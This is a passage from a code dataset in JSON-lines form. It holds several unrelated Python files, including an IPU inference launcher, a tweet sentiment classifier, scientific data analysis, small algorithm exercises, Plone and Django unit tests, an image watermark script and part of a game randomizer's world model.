streaming onto the device, reducing host IO\")\nflags.DEFINE_string(\"model_name\", \"resnext101_32x4d\",\n \"model name. Used to locate ONNX protobuf in models/\")\nflags.DEFINE_bool(\"synthetic\", False, \"Use synthetic data created on the IPU.\")\nflags.DEFINE_integer(\n \"iterations\", 1, \"Number of iterations to run if using synthetic data. Each iteration uses one `batches_per_step` x `batch_size` x `H` x `W` x `C` sized input tensor.\")\nflags.DEFINE_bool(\n \"report_hw_cycle_count\",\n False,\n \"Report the number of cycles a 'run' takes.\"\n)\nflags.DEFINE_string(\n \"model_path\", None,\n (\n \"If set, the model will be read from this\"\n \" specfic path, instead of models/\"\n )\n)\nflags.DEFINE_string(\n \"log_path\", None,\n (\n \"If set, the logs will be saved to this\"\n \" specfic path, instead of logs/\"\n )\n)\nflags.DEFINE_bool(\n \"hide_output\", True,\n (\n \"If set to true the subprocess that the model\"\n \" is run with will hide output.\"\n )\n)\n\n\ndef main(argv):\n FLAGS = flags.FLAGS\n log_str = f\"\"\"\n Number of subprocesses created: {FLAGS.num_ipus}\n Per subprocess:\n \\t Batch size: {FLAGS.batch_size}\n \\t Number of batches prepared by the host at a time: {FLAGS.batches_per_step}\n \"\"\"\n print(log_str)\n log_path = \"logs\" if not FLAGS.log_path else FLAGS.log_path\n procs = []\n log_files = []\n\n timestamp = datetime.now().strftime(\"%d-%b-%Y (%H:%M:%S.%f)\")\n if not os.path.exists(log_path):\n os.mkdir(log_path)\n os.mkdir(os.path.join(log_path, timestamp))\n\n for i in range(FLAGS.num_ipus):\n f = open(f\"{log_path}/{timestamp}/log_{i}\", \"w\")\n p = launch_resnext_subprocess(i, f)\n # sleep to prevent race conditions on acquiring IPUs\n time.sleep(1)\n # log\n log_files.append(f)\n procs.append(p)\n\n exit_codes = [p.wait() for p in procs]\n\n print(f\"All processes finished with exit codes: {exit_codes}\")\n for f in log_files:\n f.close()\n\n regex_throughput = re.compile(\"Compute .* sec .* (.*) images/sec.\")\n regex_latency = re.compile(\"Total (.*).* sec. Preprocessing\")\n regex_cycle_counts = re.compile(\"Hardware cycle count per 'run': ([\\d.]+)\")\n throughputs = []\n latencies = []\n cycle_counts = []\n for i in range(FLAGS.num_ipus):\n sub_throughputs = []\n sub_latencies = []\n sub_cycle_counts = []\n with open(f\"{log_path}/{timestamp}/log_{i}\") as f:\n for line in f:\n match = regex_throughput.search(line)\n match_lat = regex_latency.search(line)\n match_cycles = regex_cycle_counts.search(line)\n if match:\n res = match.group(1)\n sub_throughputs.append(float(res))\n if match_lat:\n res = match_lat.group(1)\n sub_latencies.append(float(res))\n if match_cycles:\n res = match_cycles.group(1)\n sub_cycle_counts.append(float(res))\n throughputs.append(sub_throughputs)\n latencies.append(sub_latencies)\n cycle_counts.append(sub_cycle_counts)\n sums_throughputs = [sum(l) for l in zip(*throughputs)]\n mean_latencies = [statistics.mean(l) for l in zip(*latencies)]\n mean_cycle_counts = [statistics.mean(c) for c in zip(*cycle_counts)]\n stats = zip(mean_latencies, sums_throughputs)\n start = 2 if len(sums_throughputs) >= 4 else 0\n for (duration, through) in list(stats)[start:]:\n report_string = \"Total {:<8.3} sec.\".format(duration)\n report_string += \" Preprocessing {:<8.3} sec ({:4.3}%).\".format(\n duration, 95.) # just for the output\n report_string += \" Compute {:<8.3} sec ({:4.3}%).\".format(\n duration, 95.)\n report_string += \" {:5f} images/sec.\".format(int(through))\n print(report_string)\n if FLAGS.report_hw_cycle_count:\n print(\n \"Hardware cycle count per 'run':\",\n statistics.mean(mean_cycle_counts)\n )\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"applications/popart/resnext_inference/resnext_inference_launch.py","file_name":"resnext_inference_launch.py","file_ext":"py","file_size_in_byte":6236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"421318992","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.metrics import confusion_matrix\nimport joblib\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.model_selection import GridSearchCV\nfrom itertools import chain\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import confusion_matrix, classification_report\n\ndf = pd.read_csv('Cleaned_Dataset.csv')\ndf = df[['target', 'tweet']]\n\nX_train, X_test, y_train, y_test = train_test_split(\n df['tweet'], df['target'], test_size=0.25, random_state=0)\n\nprint('Visualizing top 5 values')\nprint('-------------------------')\nprint(df.head())\nprint('\\n\\n')\n\nprint('Shape')\nprint('------')\nprint(df.shape)\nprint('\\n\\n')\n\n# generating word cloud for negative words\nfrom wordcloud import WordCloud\n\nplt.figure(figsize = (15,15)) \nwc = WordCloud(max_words = 2000 , width = 1600 , height = 800).generate(\" \".join(df[df.target == 0].tweet))\nplt.imshow(wc , interpolation = 'bilinear')\n#plt.savefig('wordCloudForNagative')\n\n# generating word cloud for positive words\nplt.figure(figsize = (15,15)) \nwc = WordCloud(max_words = 2000 , width = 1600 , height = 800).generate(\" \".join(df[df.target == 1].tweet))\nplt.imshow(wc , interpolation = 'bilinear')\n#plt.savefig('wordCloudForPositive')\n\n# get a word count per of text\ndef word_count(words):\n return len(words.split())\n\n# plot word count distribution for both positive and negative \ndf['word count'] = df['tweet'].apply(word_count)\np = df['word count'][df.target == 1]\nn = df['word count'][df.target == 0]\nplt.figure(figsize=(12,6))\nplt.xlim(0,45)\nplt.xlabel('Word count')\nplt.ylabel('Frequency')\ng = plt.hist([p, n], color=['g','r'], alpha=0.5, label=['positive','negative'])\nplt.legend(loc='upper right')\n#plt.savefig('WordCountDistribution')\n\nvectorizer = TfidfVectorizer()\nvectorizer = TfidfVectorizer(min_df=10, ngram_range=(1, 3))\nvectorizer.fit(X_train) \nx_tr = vectorizer.transform(X_train)\nx_te = vectorizer.transform(X_test)\n\nprint(f'Vector fitted.')\nprint('No. of feature_words: ', len(vectorizer.get_feature_names()))\nprint('\\n\\n')\n\ndef model_Evaluate(model):\n \n # Predict values for Test dataset\n y_pred = model.predict(x_te)\n\n # Print the evaluation metrics for the dataset.\n print(\"Performance Report: \")\n print(\"---------------------\")\n print(classification_report(y_test, y_pred))\n print('\\n\\n')\n \n # Compute and plot the Confusion matrix\n print(\"Confusion Matrix: \")\n print(\"---------------------\")\n cf_matrix = confusion_matrix(y_test, y_pred)\n print('conf',cf_matrix)\n print('\\n\\n')\n\n categories = ['Negative','Positive']\n group_names = ['True Neg','False Pos', 'False Neg','True Pos']\n group_percentages = ['{0:.2%}'.format(value) for value in cf_matrix.flatten() / np.sum(cf_matrix)]\n\n labels = [f'{v1}\\n{v2}' for v1, v2 in zip(group_names,group_percentages)]\n labels = np.asarray(labels).reshape(2,2)\n\n sns.heatmap(cf_matrix, annot = labels, cmap = 'Blues',fmt = '',\n xticklabels = categories, yticklabels = categories)\n\n plt.xlabel(\"Predicted values\", fontdict = {'size':14}, labelpad = 10)\n plt.ylabel(\"Actual values\" , fontdict = {'size':14}, labelpad = 10)\n plt.title (\"Confusion Matrix\", fontdict = {'size':18}, pad = 20)\n plt.show()\n #plt.savefig('confusionMatrix')\n\n\n\nrf = RandomForestClassifier(n_estimators = 20, criterion = 'entropy', max_depth=50,random_state=42)\nrf.fit(x_tr, y_train)\nmodel_Evaluate(rf)\n\n#HypeR parameters TUNING using Random grid search CV\n\nfrom sklearn.model_selection import RandomizedSearchCV\n\nn_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 10)]\n# Number of features to consider at every split\nmax_features = ['auto', 'sqrt']\n# Maximum number of levels in tree\nmax_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\nmax_depth.append(None)\n# Minimum number of samples required to split a node\nmin_samples_split = [2, 5, 10]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [1, 2, 4,10]\n# Method of selecting samples for training each tree\nbootstrap = [True, False]\n# Create the random grid\nrandom_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'bootstrap': bootstrap}\n\n# Use the random grid to search for best hyperparameters\n# First create the base model to tune\nrf = RandomForestClassifier()\n# Random search of parameters, using 3 fold cross validation, \n# search across 100 different combinations, and use all available cores\nrf_random = RandomizedSearchCV(estimator = rf, param_distributions = random_grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\n# Fit the random search model\nrf_random.fit(x_tr, y_train)\n\nprint('rf base param',rf_random.best_params_)\n\nrf = RandomForestClassifier(n_estimators = 400, min_samples_split=10,min_samples_leaf=1,max_features='sqrt',max_depth= 100, bootstrap= True,random_state = 42)\nrf.fit(x_tr, y_train)\nmodel_Evaluate(rf)\n\n\njoblib.dump(rf, 'RandomForest.pkl')","sub_path":"RandomForest/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"71742270","text":"import os, glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport ba_tools as ba\nimport json\nfrom pandas import DataFrame\nfrom scipy.stats import ttest_ind\n\nfolder = \"S:\\\\Brouwer\\\\Chromatin Force Spectroscopy\\\\Cummulative\\\\\"\nsavefolder = \"C:\\\\Users\\\\brouw\\\\Desktop\\\\\"\n\nread_JSON = True\n\n# actual NRLs\nNRLs = list(range(167, 177+1))\nNRLs.extend(range(192, 202+1))\n# NRL locations (for plotting)\nNRLs_loc = list(range(167, 177+1))\nNRLs_loc.extend(range(179, 189+1))\n\nplt.rcParams.update({'font.size': 20}) # legend + title size\nplt.rc('axes', linewidth=3)\nplt.rc('xtick', labelsize=15)\nplt.rc('ytick', labelsize=15)\n\nboxplot_k, boxplot_G1, boxplot_G2, int_keys, sub_keys = [], [], [], [], []\n\ntotal = 0\n\nif read_JSON:\n\n file_end = \"_167_202_assembled_pars.json\"\n\n with open(folder + \"k\" + file_end) as f:\n boxplot_k = json.load(f)\n with open(folder + \"G1\" + file_end) as f:\n boxplot_G1 = json.load(f)\n with open(folder + \"G2\" + file_end) as f:\n boxplot_G2 = json.load(f)\n\n for n in range(len(boxplot_k)):\n\n int_keys.append((int(NRLs_loc[n])))\n sub_keys.append(str(int(NRLs[n])))\n\n x = np.random.normal(NRLs_loc[n], 0.05, size=len(boxplot_k[n]))\n y = np.random.normal(NRLs_loc[n], 0.05, size=len(boxplot_G1[n]))\n z = np.random.normal(NRLs_loc[n], 0.05, size=len(boxplot_G2[n]))\n\n plt.figure(0, figsize=(12, 7))\n plt.plot(x, boxplot_k[n], '.', color=\"black\", zorder=10, alpha=0.2)\n plt.figure(1, figsize=(12, 7))\n plt.plot(y, boxplot_G1[n], '.', color=\"black\", zorder=10, alpha=0.2)\n plt.figure(2, figsize=(12, 7))\n plt.plot(z, boxplot_G2[n], '.', color=\"black\", zorder=10, alpha=0.2)\n\n for G1 in boxplot_G1:\n total += len(G1)\n\nelse:\n\n for n, NRL in enumerate(NRLs):\n\n print(\"Processing NRL... \" + str(NRL))\n\n subfolder = folder + str(NRL)+\"x16\\\\\"\n\n logfiles = []\n os.chdir(subfolder)\n for file in glob.glob(\"*.log\"):\n logfiles.append(file)\n\n stiffness, G1, G2 = [], [], []\n\n p = {}\n\n for logfile in logfiles:\n\n try:\n fit_pars, fit_errors = ba.read_logfile_clean(subfolder, logfile, p)\n\n stiffness.append(fit_pars[2])\n G1.append(fit_pars[3])\n G2.append(fit_pars[4])\n\n total += 1\n\n except:\n pass\n\n boxplot_k.append(stiffness)\n boxplot_G1.append(G1)\n boxplot_G2.append(G2)\n\n int_keys.append((int(NRLs_loc[n])))\n sub_keys.append(str(int(NRL)))\n\n x = np.random.normal(NRLs_loc[n], 0.05, size=len(stiffness))\n y = np.random.normal(NRLs_loc[n], 0.05, size=len(G1))\n z = np.random.normal(NRLs_loc[n], 0.05, size=len(G2))\n\n# do stuff with parameters\n\na = 8\nprint(NRLs[a])\nprint(np.mean(boxplot_k[a]), np.std(boxplot_k[a]))\nprint(np.mean(boxplot_G1[a]), np.std(boxplot_G1[a]))\n\ndata=np.array([])\nfor n, NRL in enumerate(NRLs):\n subset = np.array([NRL, np.mean(boxplot_k[n]), np.std(boxplot_k[n]), np.mean(boxplot_G1[n]), np.std(boxplot_G1[n]), np.mean(boxplot_G2[n]), np.std(boxplot_G2[n])])\n data = np.hstack((data, subset))\n\ndata = data.reshape(n+1,7)\n\ndf = DataFrame(data)\n# df.to_csv(savefolder+\"file.csv\")\n\na = 8\nb = 9\n\nprint(NRLs[a],NRLs[b])\n\nt, p = ttest_ind(boxplot_k[a],boxplot_k[b])\nprint(p)\nt, p = ttest_ind(boxplot_G1[a],boxplot_G1[b])\nprint(p)","sub_path":"Chromatin/supplemental - parameters 167 - 202.py","file_name":"supplemental - parameters 167 - 202.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"12605241","text":"class Solution(object):\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if len(prices) == 0 or len(prices) == 1:\n return 0\n prices.append(-1) #哨兵\n buy_price = prices[0]\n res = 0\n for i in range(1, len(prices)):\n if prices[i] < prices[i-1]:\n res += prices[i-1] - buy_price\n buy_price = prices[i]\n return res\n'''\n我自己的做法一: 贪心 每次只计算递增组的插值,因为如果计算了递减的话就会加上负值\n'''\na = Solution()\nprices = [5,1]\nprint(a.maxProfit(prices))\nprint(\"Done\")\n\n","sub_path":"DP/All_about_stock/Leetcode_122/lc_122.py","file_name":"lc_122.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"70097498","text":"'''A left rotation operation on an array of size shifts each of the array's elements unit to the left. For example, if left rotations are performed on array , then the array would become .\nGiven an array of integers and a number, , perform left rotations on the array. Then print the updated array as a single line of space-separated integers.\n\nInput Format\nThe first line contains two space-separated integers denoting the respective values of (the number of integers) and (the number of left rotations you must perform).\nThe second line contains space-separated integers describing the respective elements of the array's initial state.\n\nOutput Format\nPrint a single line of space-separated integers denoting the final state of the array after performing left rotations.'''\n\ndef array_left_rotation(a, n, k):\n k = k % n\n while k > 0 and k != n:\n first = a.pop(0)\n a.append(first)\n k = k - 1\n return a\n\n\ndef array_left_rotation_recursive(a, n, k):\n if k is 0 or n == k:\n return a\n else:\n first = a.pop(0)\n a.append(first)\n return array_left_rotation_recursive(a, n, k - 1)\n\ndef array_left_rotation_slow(a, n, k):\n while k > 0 and k != n:\n a = a[-n + 1:] + [a[0]]\n k = k - 1\n return a\n","sub_path":"left_rotation.py","file_name":"left_rotation.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"398471028","text":"from mocker import ANY\nfrom opengever.sharing.behaviors import IDossier\nfrom opengever.sharing.browser.sharing import OpengeverSharingView\nfrom plone.app.workflow.interfaces import ISharingPageRole\nfrom plone.mocktestcase import MockTestCase\nfrom Products.CMFDefault.MembershipTool import MembershipTool\nfrom zope.interface import directlyProvides\n\n\nclass TestOpengeverSharing(MockTestCase):\n \"\"\" Tests for sharing.py\n \"\"\"\n\n def test_available_roles_dossier_provided(self):\n \"\"\" Test available roles from a dossier\n \"\"\"\n results = self.base_available_roles(IDossier)\n\n self.assertTrue(len(results) == 1)\n\n ids = [r.get('id') for r in results]\n self.assertTrue('Reader' in ids)\n\n def test_available_roles_standard(self):\n \"\"\" Test available roles from a standard contenttype\n \"\"\"\n results = self.base_available_roles()\n\n self.assertTrue(len(results) == 1)\n\n ids = [r.get('id') for r in results]\n self.assertTrue('Reader' in ids)\n\n def base_available_roles(self, provide=\"\"):\n \"\"\" Test available_roles mehtod from OpengeverSharingView class\n \"\"\"\n # Context\n context = self.create_dummy()\n if provide:\n directlyProvides(context, provide)\n\n mock_context = self.mocker.proxy(context)\n\n # Request\n request = self.create_dummy()\n mock_request = self.mocker.proxy(request)\n\n # Sharing view\n sharing = OpengeverSharingView(mock_context, mock_request)\n mock_sharing = self.mocker.patch(sharing)\n self.expect(mock_sharing.roles()).result(\n [{'id':'Reader', }, ]).count(0, None)\n\n self.replay()\n\n return sharing.available_roles()\n\n def test_roles_with_check_permission(self):\n \"\"\" Test roles method with permission-check\n \"\"\"\n pairs = self.base_roles(True)\n\n self.assertTrue(len(pairs) == 1)\n\n ids = [p.get('id') for p in pairs]\n self.assertTrue('Reader' in ids)\n\n def test_roles_without_check_permission(self):\n \"\"\" Test roles method without permission-check\n \"\"\"\n pairs = self.base_roles(False)\n\n self.assertTrue(len(pairs) == 2)\n\n ids = [p.get('id') for p in pairs]\n self.assertTrue('Reader' in ids)\n\n def base_roles(self, check_permission):\n \"\"\" Test roles method of OpengeverSharingView class\n \"\"\"\n # Context\n mock_context = self.mocker.mock(count=False)\n\n # Request\n request = self.create_dummy()\n mock_request = self.mocker.proxy(request)\n\n # Membership Tool\n mtool = MembershipTool()\n mock_mtool = self.mocker.proxy(mtool, spec=None, count=False)\n self.expect(mock_mtool.checkPermission(\n 'Sharing page: Delegate Reader role', ANY)).result(True)\n self.expect(mock_mtool.checkPermission(\n 'Sharing page: Delegate roles', ANY)).result(False)\n self.mock_tool(mock_mtool, 'portal_membership')\n\n # SharingPageRole Utility 1\n utility1 = self.mocker.mock(count=False)\n self.expect(utility1.required_permission).result(\n 'Sharing page: Delegate Reader role')\n self.expect(utility1.title).result('utility_1')\n\n self.mock_utility(utility1, ISharingPageRole, 'Reader')\n\n # SharingPageRole Utility 2\n utility2 = self.mocker.mock(count=False)\n self.expect(utility2.required_permission).result(\n 'Sharing page: Delegate roles')\n self.expect(utility2.title).result('utility_2')\n\n self.mock_utility(utility2, ISharingPageRole, 'Administrator')\n\n self.replay()\n\n # Sharing view\n sharing = OpengeverSharingView(mock_context, mock_request)\n\n return sharing.roles(check_permission)\n\n def test_role_settings_as_manager(self):\n \"\"\" Test role_settings logged in with manager-role\n \"\"\"\n results = self.base_role_settings(['Manager'])\n\n self.assertTrue(len(results) == 3)\n self.assertTrue(\n 'AuthenticatedUsers' in [r.get('id') for r in results])\n\n def test_role_settings_as_user(self):\n \"\"\" Test role_settings logged in with user-role\n \"\"\"\n results = self.base_role_settings(['User'])\n\n self.assertTrue(len(results) == 2)\n self.assertTrue(\n not 'AuthenticatedUsers' in [r.get('id') for r in results])\n\n def base_role_settings(self, roles):\n \"\"\" Test role_settings method of OpengeverSharingView class\n \"\"\"\n result_existing = \\\n [{'disabled': False,\n 'type': 'group',\n 'id': 'AuthenticatedUsers',\n 'roles': {},\n 'title': u'Logged-in users'}, ]\n result_group = \\\n [{'disabled': False,\n 'type': 'group',\n 'id': u'og_mandant1_users',\n 'roles': {},\n 'title': 'og_mandant1_users'}, ]\n result_user = \\\n [{'disabled': False,\n 'type': 'user',\n 'id': u'og_ska-arch_leitung',\n 'roles': {},\n 'title': u'og_ska-arch_leitung'}, ]\n\n # Member\n member = list('member')\n mock_member = self.mocker.proxy(member, spec=False)\n self.expect(mock_member.getRolesInContext(ANY)).result(roles)\n\n # Context\n mock_context = self.mocker.mock(count=False)\n self.expect(mock_context.__parent__).result(mock_context)\n self.expect(\n mock_context.portal_membership.getAuthenticatedMember()).result(\n mock_member)\n\n # Request\n request = self.create_dummy()\n mock_request = self.mocker.proxy(request)\n self.expect(mock_request.form).result({})\n\n # Sharing view\n sharing = OpengeverSharingView(mock_context, mock_request)\n mock_sharing = self.mocker.patch(sharing, spec=False)\n self.expect(\n mock_sharing.existing_role_settings()).result(result_existing)\n self.expect(mock_sharing.user_search_results()).result(result_group)\n self.expect(mock_sharing.group_search_results()).result(result_user)\n\n self.replay()\n\n return mock_sharing.role_settings()\n","sub_path":"opengever/sharing/tests/test_unit_sharing.py","file_name":"test_unit_sharing.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"415793076","text":"#Import required Image library\nfrom PIL import Image, ImageDraw, ImageFont\n\n#Create an Image Object from an Image\nim = Image.open('Luca-26761246-encoded.png')\nwidth, height = im.size\n\ndraw = ImageDraw.Draw(im)\ntext = \"sample watermark\"\n\nfont = ImageFont.truetype('FreeMono.ttf', 14)\ntextwidth, textheight = draw.textsize(text, font)\n\n# calculate the x,y coordinates of the text\nmargin = 0\n#x = width - textwidth - margin\nx = 34\ny = height - textheight - margin\n\n# draw watermark in the bottom right corner\ndraw.text((x, y), text, font=font)\nim.show()\n\n#Save watermarked image\nim.save('watermark.png')\n","sub_path":"src/watermark3.py","file_name":"watermark3.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"435623187","text":"# *-* coding: utf-8 *-*\n\nimport datetime\n\nfrom django.test import TestCase\n\nfrom intranet.org.models import Event\n\n\nclass WWWTestCase(TestCase):\n fixtures = ['test_command_parse_videoarhive.json']\n\n def test_index(self):\n resp = self.client.get('/', follow=True)\n self.assertEqual(resp.status_code, 200)\n\n def test_ajax_index_events(self):\n # test zero events\n resp = self.client.get('/ajax/index/events', follow=True)\n self.assertFalse(resp.context.get('next', None))\n self.assertEqual(resp.status_code, 200)\n\n # add events and test full view\n event = Event.objects.get(id=1)\n event.start_date = datetime.datetime.now() + datetime.timedelta(1)\n event.save()\n\n resp = self.client.get('/ajax/index/events', follow=True)\n self.assertTrue(resp.context.get('next', None))\n self.assertEqual(resp.status_code, 200)\n","sub_path":"intranet/www/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"349288875","text":"from __future__ import annotations\n\nimport copy\nfrom enum import Enum, unique\nimport logging\nimport json\nfrom collections import OrderedDict, Counter, deque\nfrom typing import Union, Optional, List, Dict, NamedTuple, Iterable\nimport secrets\nimport random\n\nfrom EntranceShuffle import indirect_connections\nfrom Items import item_name_groups\n\n\nclass World(object):\n debug_types = False\n player_names: Dict[int, List[str]]\n _region_cache: dict\n difficulty_requirements: dict\n required_medallions: dict\n dark_room_logic: Dict[int, str]\n restrict_dungeon_item_on_boss: Dict[int, bool]\n plando_texts: List[Dict[str, str]]\n plando_items: List[PlandoItem]\n plando_connections: List[PlandoConnection]\n\n def __init__(self, players: int, shuffle, logic, mode, swords, difficulty, item_functionality, timer,\n progressive,\n goal, algorithm, accessibility, shuffle_ganon, retro, custom, customitemarray, hints):\n if self.debug_types:\n import inspect\n methods = inspect.getmembers(self, predicate=inspect.ismethod)\n\n for name, method in methods:\n if name.startswith(\"_debug_\"):\n setattr(self, name[7:], method)\n logging.debug(f\"Set {self}.{name[7:]} to {method}\")\n self.get_location = self._debug_get_location\n self.random = random.Random() # world-local random state is saved in case of future use a\n # persistently running program with multiple worlds rolling concurrently\n self.players = players\n self.teams = 1\n self.shuffle = shuffle.copy()\n self.logic = logic.copy()\n self.mode = mode.copy()\n self.swords = swords.copy()\n self.difficulty = difficulty.copy()\n self.item_functionality = item_functionality.copy()\n self.timer = timer.copy()\n self.progressive = progressive\n self.goal = goal.copy()\n self.algorithm = algorithm\n self.dungeons = []\n self.regions = []\n self.shops = []\n self.itempool = []\n self.seed = None\n self.precollected_items = []\n self.state = CollectionState(self)\n self._cached_entrances = None\n self._cached_locations = None\n self._entrance_cache = {}\n self._location_cache = {}\n self.required_locations = []\n self.light_world_light_cone = False\n self.dark_world_light_cone = False\n self.rupoor_cost = 10\n self.aga_randomness = True\n self.lock_aga_door_in_escape = False\n self.save_and_quit_from_boss = True\n self.accessibility = accessibility.copy()\n self.shuffle_ganon = shuffle_ganon\n self.fix_gtower_exit = self.shuffle_ganon\n self.retro = retro.copy()\n self.custom = custom\n self.customitemarray: List[int] = customitemarray\n self.hints = hints.copy()\n self.dynamic_regions = []\n self.dynamic_locations = []\n self.spoiler = Spoiler(self)\n\n for player in range(1, players + 1):\n def set_player_attr(attr, val):\n self.__dict__.setdefault(attr, {})[player] = val\n set_player_attr('_region_cache', {})\n set_player_attr('player_names', [])\n set_player_attr('remote_items', False)\n set_player_attr('required_medallions', ['Ether', 'Quake'])\n set_player_attr('swamp_patch_required', False)\n set_player_attr('powder_patch_required', False)\n set_player_attr('ganon_at_pyramid', True)\n set_player_attr('ganonstower_vanilla', True)\n set_player_attr('sewer_light_cone', self.mode[player] == 'standard')\n set_player_attr('fix_trock_doors', self.shuffle[player] != 'vanilla' or self.mode[player] == 'inverted')\n set_player_attr('fix_skullwoods_exit', self.shuffle[player] not in ['vanilla', 'simple', 'restricted', 'dungeonssimple'])\n set_player_attr('fix_palaceofdarkness_exit', self.shuffle[player] not in ['vanilla', 'simple', 'restricted', 'dungeonssimple'])\n set_player_attr('fix_trock_exit', self.shuffle[player] not in ['vanilla', 'simple', 'restricted', 'dungeonssimple'])\n set_player_attr('can_access_trock_eyebridge', None)\n set_player_attr('can_access_trock_front', None)\n set_player_attr('can_access_trock_big_chest', None)\n set_player_attr('can_access_trock_middle', None)\n set_player_attr('fix_fake_world', True)\n set_player_attr('mapshuffle', False)\n set_player_attr('compassshuffle', False)\n set_player_attr('keyshuffle', False)\n set_player_attr('bigkeyshuffle', False)\n set_player_attr('difficulty_requirements', None)\n set_player_attr('boss_shuffle', 'none')\n set_player_attr('enemy_shuffle', False)\n set_player_attr('enemy_health', 'default')\n set_player_attr('enemy_damage', 'default')\n set_player_attr('killable_thieves', False)\n set_player_attr('tile_shuffle', False)\n set_player_attr('bush_shuffle', False)\n set_player_attr('beemizer', 0)\n set_player_attr('escape_assist', [])\n set_player_attr('crystals_needed_for_ganon', 7)\n set_player_attr('crystals_needed_for_gt', 7)\n set_player_attr('open_pyramid', False)\n set_player_attr('treasure_hunt_icon', 'Triforce Piece')\n set_player_attr('treasure_hunt_count', 0)\n set_player_attr('clock_mode', False)\n set_player_attr('countdown_start_time', 10)\n set_player_attr('red_clock_time', -2)\n set_player_attr('blue_clock_time', 2)\n set_player_attr('green_clock_time', 4)\n set_player_attr('can_take_damage', True)\n set_player_attr('glitch_boots', True)\n set_player_attr('progression_balancing', True)\n set_player_attr('local_items', set())\n set_player_attr('non_local_items', set())\n set_player_attr('triforce_pieces_available', 30)\n set_player_attr('triforce_pieces_required', 20)\n set_player_attr('shop_shuffle', 'off')\n set_player_attr('shop_shuffle_slots', 0)\n set_player_attr('shuffle_prizes', \"g\")\n set_player_attr('sprite_pool', [])\n set_player_attr('dark_room_logic', \"lamp\")\n set_player_attr('restrict_dungeon_item_on_boss', False)\n set_player_attr('plando_items', [])\n set_player_attr('plando_texts', {})\n set_player_attr('plando_connections', [])\n\n def secure(self):\n self.random = secrets.SystemRandom()\n\n @property\n def player_ids(self):\n yield from range(1, self.players + 1)\n\n def get_name_string_for_object(self, obj) -> str:\n return obj.name if self.players == 1 else f'{obj.name} ({self.get_player_names(obj.player)})'\n\n def get_player_names(self, player: int) -> str:\n return \", \".join(self.player_names[player])\n\n def initialize_regions(self, regions=None):\n for region in regions if regions else self.regions:\n region.world = self\n self._region_cache[region.player][region.name] = region\n\n def _recache(self):\n \"\"\"Rebuild world cache\"\"\"\n for region in self.regions:\n player = region.player\n self._region_cache[player][region.name] = region\n for exit in region.exits:\n self._entrance_cache[exit.name, player] = exit\n\n for r_location in region.locations:\n self._location_cache[r_location.name, player] = r_location\n\n def get_regions(self, player=None):\n return self.regions if player is None else self._region_cache[player].values()\n\n def get_region(self, regionname: str, player: int) -> Region:\n try:\n return self._region_cache[player][regionname]\n except KeyError:\n self._recache()\n return self._region_cache[player][regionname]\n\n def _debug_get_region(self, regionname: str, player: int) -> Region:\n if type(regionname) != str:\n raise TypeError(f\"expected str, got {type(regionname)} instead\")\n try:\n return self._region_cache[player][regionname]\n except KeyError:\n for region in self.regions:\n if region.name == regionname and region.player == player:\n assert not region.world # this should only happen before initialization\n self._region_cache[player][regionname] = region\n return region\n raise KeyError('No such region %s for player %d' % (regionname, player))\n\n def get_entrance(self, entrance: str, player: int) -> Entrance:\n try:\n return self._entrance_cache[entrance, player]\n except KeyError:\n self._recache()\n return self._entrance_cache[entrance, player]\n\n def _debug_get_entrance(self, entrance: str, player: int) -> Entrance:\n if type(entrance) != str:\n raise TypeError(f\"expected str, got {type(entrance)} instead\")\n try:\n return self._entrance_cache[(entrance, player)]\n except KeyError:\n for region in self.regions:\n for exit in region.exits:\n if exit.name == entrance and exit.player == player:\n self._entrance_cache[(entrance, player)] = exit\n return exit\n\n raise KeyError('No such entrance %s for player %d' % (entrance, player))\n\n def get_location(self, location: str, player: int) -> Location:\n try:\n return self._location_cache[location, player]\n except KeyError:\n self._recache()\n return self._location_cache[location, player]\n\n def _debug_get_location(self, location: str, player: int) -> Location:\n if type(location) != str:\n raise TypeError(f\"expected str, got {type(location)} instead\")\n try:\n return self._location_cache[(location, player)]\n except KeyError:\n for region in self.regions:\n for r_location in region.locations:\n if r_location.name == location and r_location.player == player:\n self._location_cache[(location, player)] = r_location\n return r_location\n\n raise KeyError('No such location %s for player %d' % (location, player))\n\n def get_dungeon(self, dungeonname: str, player: int) -> Dungeon:\n for dungeon in self.dungeons:\n if dungeon.name == dungeonname and dungeon.player == player:\n return dungeon\n raise KeyError('No such dungeon %s for player %d' % (dungeonname, player))\n\n def _debug_get_dungeon(self, dungeonname: str, player: int) -> Dungeon:\n if type(dungeonname) != str:\n 